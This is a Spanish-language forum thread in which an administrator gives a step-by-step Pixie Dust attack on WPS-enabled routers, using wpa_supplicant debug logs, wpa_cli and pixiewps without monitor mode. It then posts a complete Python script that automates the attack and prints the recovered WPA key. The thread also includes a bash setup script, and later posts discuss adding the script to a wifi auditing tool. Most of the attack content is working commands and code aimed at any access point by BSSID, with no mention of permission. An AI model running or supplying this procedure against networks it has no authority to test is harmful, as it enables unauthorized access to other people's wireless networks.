El libre pensamiento para un internet libre

No estas registrado.  

Anuncio

Wifi-highpower.es es distribuidor oficial de Alfa Network

#1 07-11-2017 17:35:58

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 4,252

Método universal, sin modo monitor, para ataque pixie dust

Método universal para realizar un ataque pixie dust (sin modo monitor)

universalpixiewps_7.jpg

El método presentado a continuación no requiere modo monitor ni inyección de paquetes. 
  Funciona con todas las interfaces wifi reconocidas por tu sistema linux: Hablamos de un método universal.
  Se hace con el propio wpa_supplicant que es el programa encargado del WPA y del WPS en todos los sistemas linux.

El modo debug de wpa-cli: la arma absoluta

  Hay mucha información en este foro sobre el ataque pixie dust y wpa-cli así que no voy a explicar todo otra vez.
Si eres nuevo en esto..

  1. Para saber que información es necesaria para llevar un ataque pixie dust lea: "Pixie Dust" ataque de fuerza bruta offline para generar el PIN valido

  2. Para saber cómo instalar y usar pixiepws de wiire lea: Pixiewps de wiire : la herramienta para el novedoso ataque Pixie Dust

  3. Para saber cómo emplear wpa-cli para mandar un PIN lea: Obtener llave WPA con PIN WPS (sin modo monitor ni reaver) desde Linux

  Una vez que tienes pixiewps instalado en tu sistema te puedes lanzar al abordaje siguiendo los pasos expuestos a continuación:

Detección interfaz y matanza de procesos conflictivos

- Detectamos nuestra interfaz con iw dev (requiere privilegios de administrador)

[email protected]:~$ sudo iw dev
phy#1
	Interface wlan1
		ifindex 6
		wdev 0x100000001
		addr 52:c1:d8:ad:c1:74
		type managed
		txpower 20.00 dBm
phy#0
	Interface wlan0
		ifindex 5
		wdev 0x3
		addr be:a3:b8:c0:1f:01
		type managed
		txpower 15.00 dBm

Tengo a dos interfaces reconocidas, la wlan1 siendo la interfaz USB con el chipset ralink de doble banda, es sin importancia, Si tu interfaz está detectada vale para esto. Para mi será wlan1.
  - Detenemos los procesos conflictivos
      * Parar el gestor de redes Network Manager (o wicd si usamos wicd)

sudo systemctl stop network-manager

      * "Matar" los eventuales procesos wpa_supplicant y dhcclients restantes.

sudo killall wpa_supplicant dhclient
Consola 1: Lanzar wpa_supplicant

Paso necesario necesario para ejecutar en otra consola a wpa_cli para hacer el ataque pixiedust
Redactamos un fichero de configuración básico con esta linea:

ctrl_interface=/var/run/wpa_supplicant

Se puede hacer así:

echo "ctrl_interface=/var/run/wpa_supplicant" >> ~/basic.conf

Y tendrá el fichero en mi carpeta personal con nombre basic.conf
Lanzamos ahora a wpa_supplicant indicando la ruta hacía el fichero de configuración:

sudo wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i wlan1 -c ~/basic.conf 

Debéis poner después -i la interfaz que corresponde y después -c la ruta hacía su fichero con el nombre que habéis puesto.
Dejamos está consola abierta
Se queda de momento en suspenso con este mensaje: EAPOL: disable timer tick
pixewps_universal_1.jpg

Consola 2: wpa_cli para mandar un PIN

Lanzamos wpa_cli, el demonio interactivo de wpa_supplicant

sudo wpa-cli -i wlan1

Estamos en modo interactivo y podemos entrar ordenes
Si no hemos apuntado el bSSID de nuestro PA podemos escanear con

scan

seguido de

scan_results

Para lanzar un PIN

wps_reg <Bssid> <PIN>

Lanzo el PIN 12345670 y tengo un fallo (no es el PIN correcto):
Todo se hace en cuestión de segundos:

universalpixiewps_1.jpg

Podemos en este punto detener wpa_cli con quit y parar el proceso wpa_supplicant en la primera consola pulsando CTRL+C .
La consola con wpa_cli (la segunda) no nos interesa a partir de ahora.
Tenemos en primera consola todo el log detallado del error (PIN erróneo) con todos los elementos necesarios para efectuar un ataque de fuerza bruta "offline" y generar el PIN del punto de acceso gracias a pixiewps

Tercera consola: Pixiewps

Abrimos una tercera consola y tecleamos pixiewps para tener la ayuda bajo los ojos y sobre todo ver la sintaxis aconsejada, a saber:

pixiewps -e <pke> -r <pkr> -s <e-hash1> -z <e-hash2> -a <authkey> -n <e-nonce>

Todos estos elementos se encuentran en nuestra primera consola, hay que hacer un poco de scrolling.

  • Primero encontraremos la enrolle nonce que debemos poner después el -n en la consola pixiewps. Se encuentra justo después de recibir el mensaje M1

universalpixiewps_2.jpg

  • Al momento de forjar el M2 se generan: La PKE (argumento -e), la PKR (argumento -r) y la Auth KEY (argumento -a)

universalpixiewps_3.jpg

  • Por fin recogemos en cuanto se recibe el M3 el E-HASH1 (argumento -s) y el E-HASH2 (argumento -z)

mini_universalpixiewps_4.jpg

Tenemos todo para hacer el ataque pixie dust. cool
Notad que la PKR se llama DH own Public Key y la PKE se llama DH peer public key. Es la única dificultad para identificar las cadenas pertinentes.
Un problema es que las cadenas llevan espacios en lugar de dos puntos (pixiewps los necesita)
Un truco para no tener que hacer lo a mano es copiar la cadena y pegar la en esta linea de orden.

echo "la cadena" | sed -e 's/ /:/g'

Podemos usar nuestra segunda consola (la que usábamos para wpa_cli) como consola de transición antes de pegar las cadenas con dos puntos en la consola pixiewps
Ejemplo con la authkey:

universalpixiewps_5.jpg

Y esto, copiamos cada cadena de una en una desde la primera consola;  las pasamos por la linea de ordenes en nuestra segunda consola  y la pegamos en la consola pixiewps con el argumento que le corresponde.
Después la sesión de copiado-pegado tenemos a la linea de ordenes completa y lista.
(En mi caso he de añadir el argumento --force porque mi routeur realtek no tiene la fecha bien configurada)

universalpixiewps_6.jpg

Para obtener la llave WPA...
...Más de lo mismo pero está vez con el PIN que acabamos de derivar cool
Todo está expuesto en este tema: Obtener llave WPA con PIN WPS (sin modo monitor ni reaver) desde Linux
  Es solo cuestión de añadir un par de lineas al fichero de configuración y ejecutar los mimos comandos en primera y segunda consola (con el PIN bueno en luar de 12345670, por supuesto wink )
  Decir que es le compadre r0flor quien ha visto que podíamos hacer así ya que se enseña la authkey (la pieza que falta si nos contentamos de capturar el trafico) mientras se genera.
  Una saludo y hasta pronto para nuevas aventuras en el mundo del wifi.

Desconectado

Anuncio

Wifi-highpower.es es distribuidor oficial de Alfa Network

#2 07-11-2017 18:55:54

crash
Usuario

Registrado: 25-10-2017
Mensajes: 925

Re: Método universal, sin modo monitor, para ataque pixie dust

muy bueno el tema lo puedo incluir en el programa si queréis, pero si que necesitare un poco de ayuda con esto, al menos con los comandos en un archivo para poder adaptarlo al programa.

Desconectado

#3 08-11-2017 12:40:22

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 4,252

Re: Método universal, sin modo monitor, para ataque pixie dust

R0flor ha dejado un script en python (onsehotpin.py)en el repositorio de reaver:

#!/usr/bin/env python2

import sys, subprocess, os, tempfile, shutil

class Data():
	def __init__(self):
		self.pke = ''
		self.pkr = ''
		self.e_hash1 = ''
		self.e_hash2 = ''
		self.authkey = ''
		self.e_nonce = ''
		self.wpa_psk = ''
		self.state = ''

class Options():
	def __init__(self):
		self.interface = None
		self.bssid = None
		self.pin = None
		self.pixiemode = False
		self.verbose = False
		self.showpixiecmd = False

def shellcmd(cmd):
	proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE)
	result = proc.read()
	proc.wait()
	return result

def run_wpa_supplicant(options):
	options.tempdir = tempfile.mkdtemp()
	with tempfile.NamedTemporaryFile(suffix='.conf', delete=False) as temp:
		temp.write("ctrl_interface=%s\nctrl_interface_group=root\nupdate_config=1\n"%(options.tempdir))
		options.tempconf=temp.name
	cmd = 'wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i%s -c%s'%(options.interface, options.tempconf)
	proc = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
	return proc

def run_wpa_cli(options):
	cmd = 'wpa_cli -i%s -p%s'%(options.interface, options.tempdir)
	proc = subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)
	return proc

def recvuntil(pipe, what):
	s = ''
	while True:
		inp = pipe.stdout.read(1)
		if inp == '': return s
		s += inp
		if what in s: return s

def got_all_pixie_data(data):
	return data.pke and data.pkr and data.e_nonce and data.authkey and data.e_hash1 and data.e_hash2

def statechange(data, old, new):
	print '%s -> %s'%(old, new)
	data.state = new
	return True

def process_wpa_supplicant(pipe, options, data):
	def get_hex(line):
		a = line.split(':', 3)
		return a[2].replace(' ', '')

	line = pipe.stdout.readline()
	if line == '':
		pipe.wait()
		return False
	line = line.rstrip('\n')

	if options.verbose: sys.stderr.write(line + '\n')

	if line.startswith('WPS: '):
		if 'Enrollee Nonce' in line and 'hexdump' in line:
			data.e_nonce = get_hex(line)
			assert(len(data.e_nonce) == 16*2)
		elif 'DH own Public Key' in line and 'hexdump' in line:
			data.pkr = get_hex(line)
			assert(len(data.pkr) == 192*2)
		elif 'DH peer Public Key' in line and 'hexdump' in line:
			data.pke = get_hex(line)
			assert(len(data.pke) == 192*2)
		elif 'AuthKey' in line and 'hexdump' in line:
			data.authkey = get_hex(line)
			assert(len(data.authkey) == 32*2)
		elif 'E-Hash1' in line and 'hexdump' in line:
			data.e_hash1 = get_hex(line)
			assert(len(data.e_hash1) == 32*2)
		elif 'E-Hash2' in line and 'hexdump' in line:
			data.e_hash2 = get_hex(line)
			assert(len(data.e_hash2) == 32*2)
		elif 'Network Key' in line and 'hexdump' in line:
			data.wpa_psk = get_hex(line).decode('hex')
		elif 'Building Message M' in line:
			statechange(data, data.state, 'M' + line.split('Building Message M')[1])
		elif 'Received M' in line:
			statechange(data, data.state, 'M' + line.split('Received M')[1])

	elif ': State: ' in line:
		statechange(data, *line.split(': State: ')[1].split(' -> '))
	elif 'WPS-FAIL' in line:
		print "WPS-FAIL :("
		return False

	elif 'NL80211_CMD_DEL_STATION' in line:
		#if data.state == 'ASSOCIATED':
		#	print "URGH"
		print "[ERROR]: unexpected interference - kill NetworkManager/wpa_supplicant!"
		#return False
	elif 'Trying to authenticate with' in line:
		print line
	elif 'Authentication response' in line:
		print line
	elif 'Trying to associate with' in line:
		print line
	elif 'Associated with' in line:
		print line
	elif 'EAPOL: txStart' in line:
		print line

	return True

def die(msg):
	sys.stderr.write(msg + '\n')
	sys.exit(1)

def usage():
	die( \
"""
oneshotpin 0.0.2 (c) 2017 rofl0r

Required Arguments:
	-i, --interface=<wlan0>  Name of the interface to use
	-b, --bssid=<mac>        BSSID of the target AP

Optional Arguments:
	-p, --pin=<wps pin>      Use the specified pin (arbitrary string or 4/8 digit pin)
	-K, --pixie-dust         Run pixiedust attack
	-X                       Alway print pixiewps command
	-v                       Verbose output

Example:
	%s -i wlan0 -b 00:90:4C:C1:AC:21 -p 12345670 -K
""" % sys.argv[0])

def get_pixie_cmd(data):
	return "pixiewps --pke %s --pkr %s --e-hash1 %s --e-hash2 %s --authkey %s --e-nonce %s" % \
		(data.pke, data.pkr, data.e_hash1, data.e_hash2, data.authkey, data.e_nonce)

def cleanup(wpas, wpac, options):
	wpac.stdin.write('terminate\nquit\n')
	wpas.terminate()
	wpac.terminate()
	shutil.rmtree(options.tempdir, ignore_errors=True)
	os.remove(options.tempconf)

if __name__ == '__main__':
	options = Options()

	import getopt
	optlist, args = getopt.getopt(sys.argv[1:], ":e:i:b:p:XKv", ["help", "interface", "bssid", "pin", "pixie-dust"])
	for a,b in optlist:
		if   a in ('-i', "--interface"): options.interface = b
		elif a in ('-b', "--bssid"): options.bssid = b
		elif a in ('-p', "--pin"): options.pin = b
		elif a in ('-K', "--pixie-dust"): options.pixiemode = True
		elif a in ('-X'): options.showpixiecmd = True
		elif a in ('-v'): options.verbose = True
		elif a == '--help': usage()
	if not options.interface or not options.bssid:
		die("missing required argument! (use --help for usage)")
	if options.pin == None and not options.pixiemode:
		die("you need to supply a pin or enable pixiemode! (use --help for usage)")
	if options.pin == None and options.pixiemode:
		options.pin = '12345670'

	if os.getuid() != 0:
		die("oops, try as root")

	data = Data()
	wpas = run_wpa_supplicant(options)
	while True:
		s = recvuntil(wpas, '\n')
		if options.verbose: sys.stderr.write(s)
		if 'update_config=1' in s: break

	wpac = run_wpa_cli(options)
	recvuntil(wpac, '\n> ')
	wpac.stdin.write('wps_reg %s %s\n' % (options.bssid, options.pin))
#	while True:
#		sys.stderr.write( wpac.stdout.read(1) )
	recvuntil(wpac, 'OK')

	pixiecmd = None

	while True:
		try:
			res = process_wpa_supplicant(wpas, options, data)
		except KeyboardInterrupt:
			print "aborting..."
			res = False

		if not res: break

		if got_all_pixie_data(data):
			pixiecmd = get_pixie_cmd(data)

		if options.pixiemode and pixiecmd:
			cleanup(wpas, wpac, options)
			print "running %s" % pixiecmd
			os.execlp('/bin/sh', '/bin/sh', '-c', pixiecmd)
			# shouldnt get here
			sys.exit(1)

		if data.wpa_psk:
			if options.showpixiecmd and pixiecmd: print pixiecmd
			cleanup(wpas, wpac, options)
			print "!!! GOT WPA KEY !!!: %s" % data.wpa_psk
			sys.exit(0)

	print "hmm, seems something went wrong..."
	if options.showpixiecmd and pixiecmd: print pixiecmd
	cleanup(wpas, wpac, options)
	sys.exit(1)

ver: timout errors #175
Los "comandos" a ejecutar son dos.
Una vez la interfaz seleccionada con tu sistema de menú y el "fichero" (tres lineas, incluso una) *.conf puesto en un sitio debes:
1. Iniciar wpa_supplicant en modo --debugg indicando  el fichero de configuración. Debes mandar el proceso en background y "vigilar" la salida (que duplicas). Con bash no hay "multi threading" (mejor con python para esto) así que debes apañarte con el truco que te parezca.

wpa_supplicant -i <interfaz> -c /ruta/fichero/*conf -K -B

-K para el debug y -B para manadr el proceso en background
2. Mandar un PIN

wpa_cli -i <Interfaz> wps_reg <Bssid> <PIN> 

Luego recoger las cadenas y hacer la linea pixedust,
He hecho un script para hacer conexión PBC con wpa_cli y es casi el mismo proceso (no hay lo de recoger las cadenas pero es lo de menos) salvo que mando una petcicón PBC en lugar de mandar un PIN.
cada paso esta descrito en consola, asi que tienes la descripción de cada maniobra:

cho -e "$white▐█$purpple   Shutting down network manager$nocolour (wifi connexion will be lost)"
systemctl stop network-manager
echo -e "$white▐█$purpple   Killing conflictual process$nocolour"
killall wpa_supplicant dhclient 2>/dev/null
echo -e "$white▐█$purpple   Soft block control$nocolour"
rfkill unblock wifi
echo -e "$white▐█$purpple   Managed mode control$nocolour"
ip link set "$interface" down
iwconfig "$interface" mode managed
ip link set "$interface" up
echo -e "$white▐█$purpple   Creation of wpa_supplicant configuration file$nocolour" 
echo "ctrl_interface=/var/run/wpa_supplicant
ctrl_interface_group=root
update_config=1" >> /tmp/PBC.conf
echo -e "$white▐█$purpple   Launching wpa-supplicant$nocolour"
wpa_supplicant -c /tmp/PBC.conf -i "$interface" -B 

Aquí está: PBC.sh
Uso iwconfig para seleccionar la interfaz y hubiera sido mejor hacer lo con iw  (iwconfig está "abandonado", iw no lo está)
Una forma de hacerlo... Todo está en la gestión de los procesos que mandas en background.

Desconectado

#4 08-11-2017 15:22:25

crash
Usuario

Registrado: 25-10-2017
Mensajes: 925

Re: Método universal, sin modo monitor, para ataque pixie dust

ok, veo como lo implemento en el programa. mejor el de python no?

Desconectado

#5 08-11-2017 18:22:02

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 4,252

Re: Método universal, sin modo monitor, para ataque pixie dust

Sin dudas. Está ya hecho y  el código quedaré siempre más directo y eficaz con python que maneja los asuntos de multithreading como un verdadero lenguaje de programación que es. Yo lo utilizaría tal cuál "encapsulado" en el script general. "rellenas" los argumentos que son la interfaz, el bssid y el PIN.
No tienes la parte chequear las interfaces, los permisos etc... pero todo esto lo haces en tu script "principal" así que no importa que esté "en bruto."

Desconectado

#6 08-11-2017 19:33:41

juandiegomu
Usuario

Registrado: 31-05-2015
Mensajes: 82

Re: Método universal, sin modo monitor, para ataque pixie dust

una pregunta,entonces las tarjetas que no podiamos usar por el modo monitor,como las ubitiqui. podiamos usarlas de esta manera.un saludo

Desconectado

#7 08-11-2017 19:49:57

crash
Usuario

Registrado: 25-10-2017
Mensajes: 925

Re: Método universal, sin modo monitor, para ataque pixie dust

kcdtv escribió:

Yo lo utilizaría tal cuál "encapsulado" en el script general. "rellenas" los argumentos que son la interfaz, el bssid y el PIN.
No tienes la parte chequear las interfaces, los permisos etc... pero todo esto lo haces en tu script "principal" así que no importa que esté "en bruto."

si así tenia pensado de ponerlo, dentro del mismo programa.

Desconectado

#8 08-11-2017 21:53:12

kcdtv
Administrator

Registrado: 14-11-2014
Mensajes: 4,252

Re: Método universal, sin modo monitor, para ataque pixie dust

Una pregunta,entonces las tarjetas que no podiamos usar por el modo monitor,como las ubitiqui. podiamos usarlas de esta manera.un saludo

Las tarjetas Ubiquiti (USB-PCI) sin problemas.
Están gestionadas por tu distribución GNU-Linux
Con los CPE ubiquiti (nanostation, rocket etc.. los que conectas por cable ethernet y llevan su propio firmware) hay que ver lo que te deja hacer el firmware. Desconozco los Ubiquiti. Puedes probar, te conectas por ssh y mirras que pasa cuando invocas wpa_supplicant y wpa_cli. A priori no deberías tener problemas.   

si así tenia pensado de ponerlo, dentro del mismo programa.

Me parece mejor que hacer código bash espagueti con bucles para vigilar procesos en background... wink

Desconectado

Anuncio

Wifi-libre.com: El libre pensamiento para un internet libre / Regístrese ahora

Temas similares

Tema Respuestas Vistas Ultimo mensaje
3 139 Hoy 14:45:15 por crash
Hostbase 1.2 está aqui por Koala  [ 1 2 3 4 5 ]
103 5432 Hoy 14:28:04 por crash
67 1991 Hoy 13:35:16 por crash
27 2600 Ayer 21:05:17 por josep345
17 592 Ayer 16:36:48 por bala

Pie de página

Información del usuario

Ultimo usuario registrado: juanita
Usuarios registrados conectados: 0
Invitados conectados: 17

Estadisticas de los foros

Número total de usuarios registrados: 1,114
Número total de temas: 1,121
Número total de mensajes: 11,583

Máx. usuarios conectados: 69 el 15-10-2017 09:23:21